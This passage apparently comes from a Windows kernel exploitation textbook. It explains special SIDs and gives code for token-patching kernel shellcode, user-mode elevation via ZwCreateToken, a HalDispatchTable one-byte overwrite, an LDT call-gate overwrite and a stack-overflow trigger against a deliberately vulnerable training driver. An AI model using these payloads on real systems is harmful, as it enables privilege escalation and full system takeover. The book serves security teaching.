Special SIDs

Along with User, Group, and Computer SIDs, there are a few special SIDs that are used to contextualize the user logon session, or to restrict user access to a set of resources. A few of them are important to know about in order to fully understand the troubles we may face when playing with the access token within our shellcode.

• Restricted SID

  A SID can be flagged as restricted. A restricted SID is placed in a separate SID list called the restricted SID list. When the Access Check algorithm detects the presence of a SID on the restricted SID list within the access token, it performs a double-check; the first check is done using the default SID list, and the second one is done using the restricted SID list. To be able to access the resource, both checks must be passed successfully. Usually a restricted SID is used to temporarily drop the privileges of a running process.

• Deny-Only SID

  SIDs in the access token can be flagged as deny-only SIDs. A deny-only SID will only be evaluated during an access check, when it gets compared against Access-Denied ACE structures. Since Access-Denied ACEs override Access-Grant ACEs, this type of SID can also be used to restrict access to resources. The use of deny-only SIDs is most prevalent when implementing the Filtered Admin Token.

• Logon SID

  The Logon SID is created by the Winlogon process when a new session is created (i.e., after a successful login attempt), and is unique to the system. This SID is used to protect access to the desktop and to the Interactive Windows Station. When using Terminal Desktop, for example, every user gets a different session and a different desktop. Usually the system grants access to the current desktop to the Logon SID. In this way, every process owning this SID within its access token is able to successfully access it.

• Integrity Level SID

  Beginning with the Vista release, Windows introduced the concept of Mandatory Integrity Levels. This mechanism is implemented using a particular type of SID, known as an integrity level SID. There are five types of integrity level SIDs, ranging from the lowest-possible privilege level, Untrusted Level (level 0), to the highest-possible privilege level, System Level (level 4), with a few levels in between. Following is a list of integrity level SIDs:

  S-1-16-0x0 Untrusted/Anonymous

  S-1-16-0x1000 Low

  S-1-16-0x2000 Medium

  S-1-16-0x3000 High

  S-1-16-0x4000 System

  Every object has an integrity level associated with its SID, and every process inherits the integrity level of its parent unless the SID of the executable child has an explicitly stated lower integrity level, in which case the new process will inherit the lower integrity level. When the default Mandatory Policy (No-Write-Up) is used, a process with a lower integrity level cannot write into a resource requiring a higher integrity level. When escalating privileges, we have to carefully check that the newly crafted (or stolen) token's access is not restricted due to a low integrity level.

  Tip

  To be able to perform all of the necessary steps of a successful exploitation, we need to make sure we properly check the integrity level of the process we will be using to deliver our payload. To further explain this mechanism, let's assume that we have already successfully managed to remotely exploit an instance of Internet Explorer running in Protected Mode, and that we wish to escalate privileges by way of a local kernel race condition. To successfully exploit this vulnerability, we will need to write a few bytes into a file to create a special file mapping. Where can we create this file? When Internet Explorer is running in Protected Mode, the process has a low integrity level (SID: S-1-16-4096), and the only writable directory we will have access to will be the %USERPROFILE%AppDataLocalLow directory (or any other directory that grants write access to a low integrity level process).

• Service SID

  With the release of Vista, Windows introduced the concept of the service SID. A service SID is a special SID that uses the existing Windows access control system to provide fine-grained access control on a service-by-service basis. With a service SID, you can apply an explicit ACL to a resource that the service will then be able to access exclusively. The service SID can also be used to restrict or prevent access to a service by making the service SID a deny-only SID. In doing this, we can prevent a service running as a user with a high privilege level from being able to access a given resource. We need to make sure we deal properly with the service SID when playing with the access token so as to avoid any unwanted limitations.

Locate EPROCESS Structure

The first step is to find the target process's EPROCESS structure. It is possible to discover the EPROCESS structure associated with the current running process by looking at the current Kernel Processor Control Block (KPRCB), an undocumented internal kernel structure used by the Kernel Executive for a variety of purposes. The KPRCB holds a reference to the current ETHREAD (Executive Thread Block) structure, which in turns holds a reference to the current EPROCESS structure. The KPRCB is located within the Kernel Processor Control Region (KPCR), an area that can be accessed easily by way of a special segment selector; on 32-bit kernels, the KPCR can be accessed via the FS segment, whereas on 64-bit kernels it is accessed via the GS segment.

As you can see, traversing the kernel structure requires a good knowledge of the structure's layout; this is complicated by the fact that these layouts can change from one kernel version to the next—and even, for that matter, from one service pack to the next. Whenever possible, it is preferable to make use of external kernel APIs to avoid bothering with (likely eventually useless) hardcoded offsets. In this case, we can use the external API PsGetCurrentProcess() [1]. The following tiny piece of assembly code, taken from the PsGetCurrentProcess() API on Windows Server 2003 SP2 32-bit, accomplishes exactly what we described earlier. It takes the ETHREAD structure from the KCBP (FS:124h) and subsequently gets the EPROCESS structure stored at offset 38h within the ETHREAD structure. In so doing, it can thus return exactly what we need—namely, the EPROCESS structure associated with the current running process.

.text:0041C4FA _PsGetCurrentProcess@0 proc near

.text:0041C4FA mov eax, large fs:124h

.text:0041C500 mov eax, [eax+38h]

.text:0041C503 retn

We can now easily retrieve the EPROCESS structure of the current running process, but what if we want or need the EPROCESS structure of an entirely different process? It just so happens that there is an interesting exported API to do that, as well; its name is PsLookUpProcessByProcessId(), and its prototype is as follows:

NTSTATUS PsLookupProcessByProcessId(

IN HANDLE,

OUT PEPROCESS *

);

The PsLookUpProcessByProcessId() function takes two arguments. The first argument is the process ID (PID), and the second is a pointer-to-pointer that will hold the EPROCESS structure address when the function successfully returns; if the process is not found, the process returns with STATUS_INVALID_PARAMETER.

Locate the Access Token

The second step consists of getting the access token related to the EPROCESS structure. Again, we could dig into kernel structures and their relative offsets, or we could take a simpler and more reasonable approach and rely on an exported API; in this case, we will make use of PsReferencePrimaryToken() [2], which has the following function prototype:

PACCESS_TOKEN

PsReferencePrimaryToken(IN PEPROCESS);

This function takes as a unique argument the related EPROCESS structure, returns the access token address, and increments its reference counter.

Patch the Access Token

Patching the access token involves five steps that target the active SID list. This series of steps:

• Finds the access token associated with the current EPROCESS structure

• Finds the active SID list in the access token

• Removes, if present, all deny-only flags on all active SIDs

• Removes, if present, the restricted SID list

• Replaces the User Owner SID with the built-in NT AUTHORITYSYSTEM account SID

First, we have to look at two important access token fields, UserAndGroupCount and UserAndGroup, which describe the SIDs in the active list. Since the contents of these fields reside at different offsets, the code at [3] and [4] makes use of a prebuilt offset table to retrieve their respective contents. This offset table is indexed using a runtime index corresponding to the currently running version of Windows.

The UserAndGroup pointer addresses a dynamically allocated array of SID_AND_ATTRIBUTES structures. Each structure is composed of only two fields: Sid, which is a pointer to the SID structure holding SID information; and Attributes, which is flags storage to hold SID attributes. The first structure in the array is the Owner SID, which usually holds the current Local/Domain User SID. At [5], the function substitutes this User SID with the local NT AUTHORITYSYSTEM SID (S-1-5-18) stored in the SidSystem variable. Later, at [6] and [7], the function invokes DisableDenyOnlySID() and RemoveRestrictedSidList(). DisableDenyOnlySID() removes all of the deny-only SIDs, stripping away the SE_GROUP_USE_FOR_DENY_ONLY flag, whereas RemoveRestrictedSidList() removes, if present, the restricted list, nullifying the list pointer and overwriting the counter with a zero value.

Fix Token Group

In addition to fixing the current user SID, it is also worthwhile to fix the Users group, which is done via the FindUserGroupSid() function. FindUserGroupSid() (at [8]) locates the local BUILTINUsers Group SID. Next, at [9], the function overwrites the BUILTINUsers Group SID with the BUILTINAdministrator group stored in the global SidLocalAdminGroup variable. Finally, at [10], the local access token is released using the corresponding API PsDereferencePrimaryToken() (decrementing its internal reference counter). Notwithstanding domain Group Policy settings, since the process now possesses Local System and Local Administrator associated rights, it is henceforth capable of accessing virtually all local resources, adding new local administrator users, modifying Local Security Policy, and so forth.

Kernel-Mode Payload

As usual, let's begin by taking a look at some code:

typedef struct _SEP_TOKEN_PRIVILEGES

{

UINT64 Present;

UINT64 Enabled;

UINT64 EnabledByDefault;

} SEP_TOKEN_PRIVILEGES, *PSEP_TOKEN_PRIVILEGES;

VOID ShellcodePrivilegesAdd()

{

PACCESS_TOKEN tok;

PEPROCESS p;

PSEP_TOKEN_PRIVILEGES pTokPrivs;

p = PsGetCurrentProcess(); [1]

tok = PsReferencePrimaryToken(p); [2]

pTokPrivs = GETOFFSET(tok, [3]

TargetsTable[LocalVersion].Values[LocalVersionBits]

.PrivListOffset);

pTokPrivs->Present = pTokPrivs->Enabled = [4]

pTokPrivs->EnabledByDefault =

0xFFFFFFFFFFFFFFFFULL;

PsDereferencePrimaryToken(tok);

return;

}

Steps [1] and [2] obtain the access token in the same way the ShellcodeSIDListPatch() does. They get the EPROCESS structure using the PsGetCurrentProcess() kernel API, and then reference the access token using the PsReferencePrimaryToken() kernel API. At [3], the code locates the SP_TOKEN_PRIVILEGES structure within the access token. Different from SID lists, this structure on NT 6.x kernels is embedded in the access token; the GETOFFSET() macro simply adds the correct offset to the access token structure pointer to locate the beginning of the SEP_TOKEN_PRIVILEGES structure field. The code at [4] is straightforward. It overwrites all of the bitmasks within SEP_TOKEN_PRIVILEGES, adding all possible privileges to the current access token. The kernel does not perform any checksums on the Privileges bitmasks. Despite the fact that it would've been sufficient to patch only the Present field, the function also patches the Enable field. Enabling them while performing the kernel payload step saves us from having to enable them later, during the user-mode elevation step.

User-Mode Elevation

The user-mode elevation routine comprises two functions: CreateTokenFromCaller() and SpawnChildWithToken(). CreateTokenFromCaller() is used to create a new access token with arbitrary rights and privileges using the undocumented ZwCreateToken() API. SpawnChildWithToken() is a simple wrapper to the CreateProcessAsUser() API, which is used to spawn a new process holding a different access token. The most important snippets from the CreateTokenFromCaller() function, for the sake of this discussion, follow. You can find the fully commented code in the Trigger64.c source file.

BOOL CreateTokenFromCaller(PHANDLE hToken)

{

[ … ]

if(!LoadZwFunctions(&ZwCreateTokenPtr)) [1]

return FALSE;

__try

{

ret = OpenProcessToken(GetCurrentProcess(), [2]

TOKEN_QUERY | TOKEN_QUERY_SOURCE,

&hTokenCaller);

if(!ret)

__leave;

[ … ]

lpStatsToken = GetInfoFromToken(hTokenCaller, TokenStatistics);

lpGroupToken = GetInfoFromToken(hTokenCaller, TokenGroups); [3]

lpPrivToken = GetInfoFromToken(hTokenCaller, TokenPrivileges); [4]

pSid=lpGroupToken->Groups;

pSidSingle = FindSIDGroupUser(pSid, lpGroupToken->GroupCount, [5]

DOMAIN_ALIAS_RID_USERS);

if(pSidSingle)

memcpy(pSidSingle, [6]

&SidLocalAdminGroup,

sizeof(SidLocalAdminGroup));

for(i=0; i<lpGroupToken->GroupCount; i++,pSid++) [7]

{

if(pSid->Attributes & SE_GROUP_INTEGRITY)

memcpy(pSid->Sid,

&IntegritySIDSystem,

sizeof(IntegritySIDSystem));

pSid->Attributes &= ~SE_GROUP_USE_FOR_DENY_ONLY;

}

lpOwnerToken = LocalAlloc(LPTR, sizeof(PSID));

lpOwnerToken->Owner = GetLocalSystemSID();

lpPrimGroupToken = GetInfoFromToken(hTokenCaller, TokenPrimaryGroup);

lpDaclToken = (hTokenCaller, TokenDefaultDacl);

pluidAuth = &authid;

li.LowPart = 0xFFFFFFFF;

li.HighPart = 0xFFFFFFFF;

pli = &li;

sessionId = GetSessionId(hTokenCaller); [8]

ntStatus = ZwCreateTokenPtr(hToken, [9]

TOKEN_ALL_ACCESS,

&oa,

TokenPrimary,

pluidAuth,

pli,

&userToken,

lpGroupToken,

lpPrivToken,

lpOwnerToken,

lpPrimGroupToken,

lpDaclToken,

&sourceToken);

if(ntStatus == STATUS_SUCCESS)

{

ret = SetSessionId(sessionId, *hToken); [10]

sessionId = GetSessionId(*hToken);

ret = TRUE;

}

[ … ]

To summarize, this function gets the current process's access token, extracts the SID list and Privileges list, manipulates the SID list, and uses the modified version of the current token to create a brand-new access token.

At [1], the code invokes LoadZwFunctions(), which stores into the ZwCreateTokenPtr function pointer the address of the ZwCreateToken() API. Since the function is not intended to be directly imported by third-party code, LoadZwFunctions() invokes the GetProcAddress() API, passing the ntdll.dll module handle to get the address of the ZwCreateToken() function using runtime dynamic linking in much the same way that we extracted NtQuerySystemInformation() when listing the kernel module's name and base address.

At [2], the function opens the current process's access token object and stores its descriptor in the hTokenCaller handle. As we saw before, almost everything under Windows is an object and an object handle can be opened to it.

At [3] and [4], the function extracts the current SID list and Privileges list from the current token and copies them into user-space memory.

At [5], the function invokes the FindSIDGroupUser() custom function, which is the same function used in the SID list patching technique presented before. It finds the BUILTINUsers Group SID and returns its actual address in memory. This time the function is not called during the kernel shellcode to manipulate the kernel structure, but it is used to access the user-land buffer where the kernel structure is copied. The function works well in this context since the structure layout we are interested in has been preserved during the user-land copy.

Next, at [6], the function substitutes the BUILTINAdministrators group SID in place of the BUILTINUsers Group SID located just before.

The loop at [7] scans the SID list once again, in search of an integrity level SID. As seen in the SID description, the integrity level is implemented as a special type of SID. After finding this SID, the code overwrites it with the system integrity SID (which is a powerful integrity level if we do not consider the protected process integrity SID used by DRM protected services). The code in the loop also clears any deny-only SID-related flags.

At [8], the function obtains the current Session ID. This step requires further explanation. The concept of a Session was introduced with the advent of Terminal Services, which were created to allow different users to share a single Windows system via multiple graphics terminals. Since Windows was not originally designed to be a multiuser environment, it assigned global names to many system objects and resources. With the advent of Sessions, the Object Manager is able to virtually separate global objects’ namespaces (such as the Windows Station, desktops, etc.) allowing operating system services to each access their Session-private resources as though they were global. The Session ID uniquely identifies a given existing session within the system. Every time a user interactively logs on to the machine, Windows creates a new Session, associates it with a Window Station, and then associates the desktops to the Window Station.

To further complicate this mechanism, Windows NT 6.x kernels introduced the Session 0 Isolation concept. On older (NT 5.x) systems, the first user to interactively log on to the system shares the same session (Session 0) with system processes and services. On Windows NT 6.x systems, however, Session 0 (the first session) is noninteractive, and is available only to system processes and services (isolation). When the first interactive user logs on, he will be associated to Session 1; the second will be associated to Session 2, and so on. Session 0 Isolation separates privileged services from interactive console user access, thus putting an end to all Shatter-like attacks.²

But why is our Session number so important to us? The answer lies in the way that the token is built. When a new access token (at [9]) is created, the kernel sets Session 0 as the default session. Let's suppose that we are running the exploit from the local console (when dealing with NT 6.x systems), or by way of a remote Terminal Services session. If we'll be running the new process using the modified-privilege access token, the child process will run by default on Session 0, which wouldn't give us the opportunity to interact with the process through the current Windows Station/desktop.

To avoid this problem, we can set the access token session to the current one, via the SetSessionSID() function at [10]. This function internally invokes the SetTokenInformation() API, passing the Session ID obtained previously, at [8]. SetSessionSID() requires the invoking process to own the SeTcbPrivilege, but in the current case this isn't a problem, as we've already gained possession of every Privilege on the system, thanks to the execution of our kernel payload. We may now safely run the child program using the SpawnChildWithToken() function, an excerpt from which follows:

BOOL SpawnChildWithToken(HANDLE hToken, PTCHAR command)

{

[ … ]

pSucc = CreateProcessAsUser(hToken,

NULL,

(LPTSTR)szLocalCmdLine,

&sa, &sa,

FALSE,

0,

NULL,

NULL,

&si, &pi);

[ … ]

The only meaningful function that this wrapper calls is the CreateProcess- AsUser() API. By default, every newly created process inherits the access token of its respective parents. With this API, however, we can specify which access token to use; as one may expect, we will pass the access token created by the ZwCreateToken() function. If this function executes successfully we will be in possession of a process having the highest possible privilege. Figure 6.5 shows the access token before spawning the child process (and hence before changing the SIDs) but after the kernel payload has been executed (all Privileges enabled).

One-Byte Overwrite Case Study

If we are able to overwrite all four bytes stored in the second entry of the HalDispatchTable we can easily substitute the actual value with the address of our payload. But what can we do instead if we are only able to overwrite just one byte? In the case where we can call the vulnerable code path multiple times we can simply overwrite one byte a time. But what if the vulnerable function can be triggered only once? Then the answer (at least on 32-bit system) is straightforward: we have to overwrite the MSB (most significant byte). If we know the byte value we can simply ignore the remaining bytes and map the corresponding 16MB user-land address range with a NOP sled before actually calling the payload. Here's an example that will clarify the ideas: we can overwrite one byte with the value 0x01 only once. This is the partial dump of the HalDispatchTable:

0: kd> dd nt!HalDispatchTable

80894078 00000003 80a79a1e 80a7b9f4 808e7028

80894088 00000000 8081a7a4 808e61d2 808e6a68

[ … ]

The second entry is 0x80A79A1E. If we overwrite the MSB with the 0x01 value we end up having 0x01A79A1E. Even if we don't know the other three bytes that compose the final address we can simply map the 16MB range 0x01000000–0x02000000 as RWX (read-write-execute), storing there a long series of NOP instructions ending with a final jump to our payload.

Leaking the KPROCESS Address

Windows has a lot of undocumented system calls that do nice things. We have met one of them before, while looking for a way to enumerate device drivers’ base addresses: ZwQuerySystemInformation(). This function can also be used to enumerate the kernel address of the KPROCESS structure of the current running process. The function that implements the KPROCESS search is named FindCurrentEPROCESS(). The full code, as usual, can be found on this book's companion Web site, www.attackingthecore.com.

This function first opens a new file handle to the current process object using the OpenProcess() API. After having opened a valid handle it invokes the ZwQuerySystemInformation() API using SystemHandleInformation as a SYSTEM_INFORMATION_CLASS parameter. This function retrieves all the open handles in the system. Every entry is composed of a SYSTEM_HANDLE_INFORMATION_ENTRY whose layout is shown below:

typedef struct _SYSTEM_HANDLE_INFORMATION_ENTRY

{

ULONG ProcessId;

BYTE ObjectTypeNumber;

BYTE Flags;

SHORT Handle;

PVOID Object;

ULONG GrantedAccess;

} SYSTEM_HANDLE_INFORMATION_ENTRY,

*PSYSTEM_HANDLE_INFORMATION_ENTRY;

The Object field holds the linear address of the dynamically allocated kernel object related to the given handle that is stored in the Handle field. The function looks for an entry that has the ProcessId field equal to the current process ID and the Handle field equal to the just-opened process handle. The final Object field of the located entry is thus the KPROCESS structure address of the current process.

From this point onward we can overwrite an arbitrary element of the KPROCESS (and thus also the EPROCESS) structure. Let's take a look at a few interesting fields we can overwrite within the KPROCESS structure:

0: kd> dt nt!_kprocess 859b6ce0

+0x000 Header : _DISPATCHER_HEADER

+0x010 ProfileListHead : _LIST_ENTRY

+0x018 DirectoryTableBase : [2] 0x3fafe3c0

+0x020 LdtDescriptor : _KGDTENTRY

+0x028 Int21Descriptor : _KIDTENTRY

+0x030 IopmOffset : 0x20ac

+0x032 Iopl : 0 ''

[ … ]

At the beginning of the KPROCESS structure there are a couple of very interesting entries: a KGDTENTRY structure (LdtDescriptor) and a KIDTENTRY (Int21Descriptor). The former structure represents the local process LDT segment descriptor entry. This special system segment entry is stored within the global descriptor table (GDT) during every context switch and describes the location and size of the current local descriptor table (LDT) in memory. The latter entry represents the 21th interrupt descriptor table (IDT) entry used mainly by the virtual DOS machine (NTVDM.exe) to emulate vm86 (virtual 8086 mode) processes. This entry is needed to emulate the original INT 21h software interrupt. This interrupt was used as an entry point to emulate old DOS system service routines. Overwriting the former GDT entry (through the saved LDT segment descriptor) we can remap the whole LDT into user-land memory. After having gained full access to the LDT we can simply build up an inter-privileged call gate to run Ring 0 code. Similarly, overwriting the 21h IDT entry we can build a new trap gate that will fulfill the same result: running arbitrary code at Ring 0.

Next, we will briefly show how to exploit the former vector to build an arbitrary call gate, remapping the whole LDT into the user-land memory. A call gate is a gate descriptor that can be stored within the LDT or the GDT. It provides a way to jump to a different segment located at a different privilege.

The main function implementing this exploitation vector is called LDTDescOverwrite(). As usual, the highly-commented full code is available within the DVWDExploits package. First, it creates and initializes a new LDT using the undocumented ZwSetInformationProcess() API that has the following prototype:

typedef enum _PROCESS_INFORMATION_CLASS

{

ProcessLdtInformation = 10

} PROCESS_INFORMATION_CLASS;

NTSTATUS __stdcall

ZwSetInformationProcess

(HANDLE ProcessHandle,

PROCESS_INFORMATION_CLASS ProcessInformationClass,

PPROCESS_LDT_INFORMATION ProcessInformation,

ULONG ProcessInformationLength);

The first parameter has to be a valid process handle (acquired via OpenProcess() API). The second parameter is the process information class type: ProcessLdtInformation. The third parameter holds the pointer to a PROCESS_LDT_INFORMATION structure and the fourth parameter is the size of the aforementioned structure. The PROCESS_LDT_INFORMATION has the following structure:

typedef struct _PROCESS_LDT_INFORMATION

{

ULONG Start;

ULONG Length;

LDT_ENTRY LdtEntries[…];

} PROCESS_LDT_INFORMATION, *PPROCESS_LDT_INFORMATION;

The Start field indexes the first available descriptor within the LDT. The LdtEntries array holds an arbitrary number of LDT_ENTRY structures, and the Length is the size of the LdtEntries array. An LDT_ENTRY may identify a system segment (task-gate segment), a segment descriptor (data or code segment descriptor) or a call/task gate. Every LDT entry is 8-bytes wide on 32-bit architectures and 16-bytes wide on x64 architectures.

Of course, as we can imagine, the ZwSetInformationProcess() API lets us create a subset of all possible code and data segments, denying every attempt to create a system segment or gate descriptor. After invoking this call the kernel allocates space for the LDT, initializes the LDT entries and installs the LDT segment descriptor into the current processor GDT. Moreover, since every process can have its own LDT the kernel saves the LDT segment descriptor into the KPROCESS kernel structure LdtDescriptor, as described above. After a process context switch the kernel checks if the new process has a different active LDT segment descriptor and installs it in the current processor GDT before passing control back to the process. What we need to do can be summarized in the following steps:

• Build an assembly wrapper to the payload to be able to return from the call gate (using a FAR RET).

  This step can be accomplished by writing a small assembly stub that saves the actual context, sets the correct kernel segment selector, invokes the actual payload, and returns to the caller restoring the previous context and issuing a far return. The following is an example of code performing it on 32-bit architecture:

  0: kd> u 00407090 L9

  00407090 60 pushad

  00407091 0fa0 push fs

  00407093 66b83000 mov ax,30h

  00407097 8ee0 mov fs,ax

  00407099 b841414141 mov eax,CShellcode

  0040709e ffd0 call eax

  004070a0 0fa1 pop fs

  004070a2 61 popad

  004070a3 cb retf

  The code saves all the general purpose registers and the FS segment register. Next, it loads the new FS segment addressing the current KPCR (Kernel Processor Control Region) and invokes the kernel payload. At the end, before exiting, the code restores the FS segment selector and general-purpose registers and executes a far return to switch-back in user land.

• Build a fake user-land LDT within a page-aligned address.

  This step is straightforward. We just have to map an anonymous writable page-aligned area in memory using the CreateFileMapping()/MapViewOfFile() API pair.

• Fill the fake user-land LDT with a single call gate (entry 0) with the following characteristics:

  • The DPL must be 3 (accessible from user space)

  • The code segment selector must be the kernel code segment

  • The offset must be the address of our user-land payload

  This step is moved forward by the PrepareCallGate32() function that is shown next:

  VOID PrepareCallGate32(PCALL_GATE32 pGate, PVOID Payload)

  {

  ULONG_PTR IPayload = (ULONG_PTR)Payload;

  RtlZeroMemory(pGate, sizeof(CALL_GATE32));

  pGate->Fields.OffsetHigh = (IPayload & 0xFFFF0000) >> 16;

  pGate->Fields.OffsetLow = (IPayload & 0x0000FFFF);

  pGate->Fields.Type = 12;

  pGate->Fields.Param = 0;

  pGate->Fields.Present = 1;

  pGate->Fields.SegmentSelector = 1 << 3;

  pGate->Fields.Dpl = 3;

  }

  The code takes two parameters: the pointer to the call gate descriptor (in our case the first LDT_ENTRY of the fake user-land LDT) and a pointer to the payload. The type field identifies the type of segment. Of course the value “12” indicates a call gate descriptor. The Param field of the gate descriptor indicates the number of parameters that have to be copied to the callee stack while invoking the gate. We have to take this value into account since we need to restore the stack properly during the execution of the far return.

• Locate the LDT descriptor, adding the correct offset to the address of the KPROCESS structure previously leaked by the FindCurrentEPROCESS() function.

• Trigger the vulnerability to overwrite the LDT descriptor stored within the KPROCESS structure.

  The LdtDescriptor field of the KPROCESS structure is located 0x20 bytes forward of the beginning of the structure. We need to overwrite the address (offset) within the descriptor that locates the LDT in memory. Similar to what we have done with the previous vector, we can overwrite the whole descriptor or just the MSB. If we overwrite just the MSB we also have to create a lot of fake-LDTs all over the target 16MB at the start of every in-range page (as much as we created the NOP sled before).

• Force a process context switch.

  Since the LDT segment descriptor is updated only after a context switch we need to put the process to sleep or reschedule it before attempting to use the gate. It is enough to call an API that puts the process to sleep like SleepEx(). At the next reschedule the kernel will set up the modified version of the LDT segment descriptor remapping the LDT in user land.

• Trigger the call gate via a FAR CALL.

  To step into the call gate we need to execute a FAR CALL instruction. Again we can write a small assembly stub to do the job. The next snippet shows the code within the FarCall() function that performs the FAR CALL.

  0: kd> u TestJump

  [ … ]

  004023be 9a000000000700 call 0007:00000000

  [ … ]

  As we can see, the code executes a CALL explicitly specifying a segment selector (0x07) and an offset (0x00000000) that is ignored during the call gate call but is mandatory for the assembly instruction format. As we have seen in Chapter 3 a segment selector is built up by three elements. The first less-significant bit is the requested privilege level (RPL), the second less significant bit is the table indicator (TI) flag and the remainder is the index of the descriptor within the GDT/LDT. In this case the segment selector has an RPL equal to three, a TI flag equal to one and the descriptor index equal to zero. As expected this means that the selector is addressing the LDT (TI=1) and that we are interested in the already-set-up LDT_ENTRY (the first one) that has an index value equal to zero.

Triggering the Exception

If we can generate an exception before the function returns (and thus before the function hits the canary check function), we'll be able to redirect the flow control of the vulnerable kernel path. Depending on the vulnerable function stack frame, there may be multiple ways to trigger an exception, either during or after the actual overflow. Usually, based on our experience exploiting user space, we can formulate two ways to trigger an exception before the function returns. We can either trigger an exception after the overflow, or trigger an exception during the overflow itself. Both of these methods have one or more preconditions that must be satisfied.

If we choose to trigger an exception after the overflow, we will need to rely on in-frame data corruption. While we're in the process of performing the stack buffer overflow, we're able to control not only the local frame but also a few upper function frames (based on the overflow length). We'll need to overwrite a data pointer or a critical integer offset located in any of the trashed frames. If, later, for example, the trashed pointer itself, or a pointer built up during a pointer-arithmetic operation made using the trashed integer, is referenced, it's likely that a memory fault will occur. This method is highly dependent on the vulnerable path and function frame layout, and thus cannot be generalized. In our example, the TriggerOverflow() function returns immediately after copying the buffer; thus we have no chance of triggering an exception in this manner.

Alternately, we can choose to trigger an exception during the overflow. Since the user-land stack has a fixed size, we can try to write above the stack limit until we hit an unmapped page, which in turn will trigger a page fault hardware exception. Of course, we'll need to control the “length of the overflow” to be able to specify a size huge enough to let the overflow run past the stack limit. This approach has been used quite often during user-land exploitation, most of the time when dealing with stack buffer overflow due to uncontrolled or partially controlled integer overflows that generate a large and uncontrolled memory copy. Since the kernel stack is also limited (12Kb on a 32-bit kernel) and, in our example, we can directly control the length passed to the RtlCopyMemory() function, it's tempting to think that this approach should also work in kernel space. However, it does not work, since, unlike working in user land, in kernel land not every memory fault is managed in the same way. The __try/__except blocks are mainly used to trap an invalid user-space-only reference and are not able to catch every type of memory fault.

Let's take a look at the crash log the debugger shows when we try to write above the current stack limit:

kdb> !analyze -v

BugCheck 50, {f62c3000, 1, 80882303, 0}

*** WARNING: Unable to verify checksum for StackOverflow.exe

*** ERROR: Module load completed but symbols could not be loaded for StackOverflow.exe

PAGE_FAULT_IN_NONPAGED_AREA (50)

Invalid system memory was referenced.

This cannot be protected by try-except,it must be protected by a Probe.

Typically the address is just plain bad or it is pointing at freed memory.

Arguments:

Arg1: f62c3000, memory referenced.

Arg2: 00000001, value 0 = read operation, 1 = write operation.

Arg3: 80882303, If non-zero, the instruction address which

referenced the bad memory address.

Arg4: 00000000, (reserved)

Debugging Details:

-----------------------

WRITE_ADDRESS: f62c3000

FAULTING_IP:

nt!memcpy+33

80882303 f3a5 rep movs dword ptr es:[edi],dword ptr [esi]

As we can see from the fault analysis shown by the !analyze –v extension command, this time the BugCheck code is 0x50 (80 decimal), which is associated with the error PAGE_FAULT_IN_NONPAGED_AREA. This error simply indicates that a kernel path has referenced invalid kernel memory. Taking a look at the fault description, we can track down the affected code:

WRITE_ADDRESS: f62c3000

FAULTING_IP:

nt!memcpy+33

80882303 f3a5 rep movs dword ptr es:[edi],dword ptr [esi]

As one might expect, the faulting instruction here is the REP MOVS (Repeat Move Data from String to String) located within the core kernel memcpy() (RtlCopyMemory() in the source). Here, the instruction faulted while trying to write into 0xF62C3000, an address which lies within the unmapped page behind the 12Kb kernel stack.

Next, we'll look at the memory stack dump using the dd (Display Double-Word Memory) command in WinDbg:

kdb> dd F62C2F80

f62c2f80 4141414141414141 4141414141414141 4141414141414141 4141414141414141

f62c2fa0 4141414141414141 4141414141414141 4141414141414141 4141414141414141

f62c2fc0 4141414141414141 4141414141414141 4141414141414141 4141414141414141

f62c2fe0 4141414141414141 4141414141414141 4141414141414141 4141414141414141

f62c3000 ???????????????? ???????????????? ???????????????? ????????????????

f62c3020 ???????????????? ???????????????? ???????????????? ????????????????

f62c3040 ???????????????? ???????????????? ???????????????? ????????????????

As the preceding snippet shows, after the end of the kernel stack the code hits an empty page (starting exactly at the faulting address of 0xF62C3000). Since the kernel detects that the driver is trying to dereference an invalid memory address within the kernel itself, it views it as a kernel bug and fires a BugCheck. At this point, it seems as though none of the user-land approaches used to trigger an exception can be used unmodified against our dummy vulnerable example, since we need to force the kernel to dereference an invalid user-land address at any cost to be successful in our exploitation.

The key to solving this problem lies just around the corner, however, and is more straightforward than we would have thought. We'll simply need to trigger an invalid memory dereference during the copy of the offending buffer, only we must do so after the copy has triggered the overflow itself. How can we achieve this? Again, we can accomplish our goal by making use of the operating system's memory mapping capability. We can create a custom anonymous memory mapping using the function CreateUspaceMapping() in the Trigger32.c file. This function simply creates an anonymous mapping using the CreateFileMapping() and MapViewOfFileEx() APIs. We have to place the user-space buffer at the end of the anonymous map. We place the initial part of it in the valid page and the remainder in the next unmapped page. By doing this, we not only force the kernel to overflow the buffer in the first place, but we also contemporaneously force the system to fire an exception just after the overflow has been triggered. To better understand this user-space memory layout, see Figure 6.7.

The following code is used to trigger the overflow and the page fault at the same time:

[ … ]

map = CreateUspaceMapping(); [1]

pShellcode = (ULONG_PTR) UserShellcodeSIDListPatchUser;

PrepareBuffer(map, pShellcode); [2]

uBuff = map + PAGE_SIZE - (BUFF_SIZE-sizeof(ULONG_PTR)); [3]

hFile = CreateFile(_T("\\.\DVWD"), [4]

GENERIC_READ | GENERIC_WRITE,

0, NULL, OPEN_EXISTING, 0, NULL);

if(hFile != INVALID_HANDLE_VALUE)

ret = DeviceIoControl(hFile, [5]

DEVICEIO_DVWD_STACKOVERFLOW,

uBuff,

BUFF_SIZE,

NULL,

0,

&dwReturn,

NULL);

[ … ]

At [1], the code creates the anonymous mapping followed by an empty page. Next, at [2], the code calls the function PrepareBuffer(), which simply fills the whole buffer with the shellcode address. At [3], the code sets the user-space buffer length according to the layout shown in Figure 6.7, in such a way that its last four bytes (ULONG_PTR on 32-bit systems) are placed within the empty invalid memory page just set up. After having prepared the buffer, the code gets a handle from the vulnerable device at [4], and triggers the overflow calling the DeviceIoControl() API, at [5], passing the DEVICE_DVWD_STACKOVERFLOW control code, the address of the buffer (within which lies the anonymous mapping), and the just-crafted buffer length. As opposed to the arbitrary overwrite scenario discussed previously, this time the shellcode cannot simply return to the caller, since the stack frame has been completely trashed and there is no valid path to return to. We have two main options at this point:

1. Elevate the credential of the current process and set up a fake stack frame to emulate the user-land return code.

2. Elevate the credential of a different controlled process and kill the current process from within kernel land without returning to the trashed frame.

We already demonstrated the first approach in the stack-overflow scenario in Chapter 4. In this example, we will instead take the second approach: Namely, elevate the credential of a different controlled process and kill the current process from within kernel land without returning to the trashed frame.

